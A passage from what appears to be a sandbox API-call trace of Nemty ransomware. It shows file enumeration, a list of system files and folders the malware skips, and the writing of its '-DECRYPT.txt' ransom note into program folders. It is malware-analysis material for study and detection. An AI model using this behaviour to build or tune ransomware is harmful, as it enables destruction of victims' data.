hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0171.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.236] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19af75f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19af75f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19af75f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.236] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.236] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.237] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19af75f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19af75f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19af75f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.237] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.237] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8039ef40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="CHT", cAlternateFileName="")) returned 1 [0171.237] lstrcmpiW (lpString1="CHT", lpString2=".") returned 1 [0171.237] lstrcmpiW (lpString1="CHT", lpString2="..") returned 1 [0171.237] lstrcmpiW (lpString1="CHT", lpString2="...") returned 1 [0171.237] lstrcmpiW (lpString1="CHT", lpString2="windows") returned -1 [0171.237] lstrcmpiW (lpString1="CHT", lpString2="$RECYCLE.BIN") returned 1 [0171.237] lstrcmpiW (lpString1="CHT", lpString2="rsa") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="NTDETECT.COM") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="ntldr") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="MSDOS.SYS") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="IO.SYS") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="boot.ini") returned 1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="boot.ini") returned 1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="AUTOEXEC.BAT") returned 1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="ntuser.dat") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="desktop.ini") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="CONFIG.SYS") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="RECYCLER") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="BOOTSECT.BAK") returned 1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="bootmgr") returned 1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="programdata") returned -1 [0171.238] lstrcmpiW (lpString1="CHT", lpString2="appdata") returned 1 [0171.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHT", lpUsedDefaultChar=0x0) returned 3 [0171.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHT", lpUsedDefaultChar=0x0) returned 3 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.238] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.238] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.240] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.240] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.240] CloseHandle (hObject=0x254) returned 1 [0171.240] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cht\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.242] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.242] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.242] CloseHandle (hObject=0x254) returned 1 [0171.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.243] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CHT\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19b69a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19b69a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.243] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.243] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8039ef40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19b69a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19b69a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.243] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.243] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.243] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x561b, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.243] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.244] Sleep (dwMilliseconds=0x5) [0171.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19b8fb70, dwHighDateTime=0x1d561e8)) [0171.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19b8fb70, dwHighDateTime=0x1d561e8)) [0171.255] GetLastError () returned 0xb7 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.255] GetLastError () returned 0xb7 [0171.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 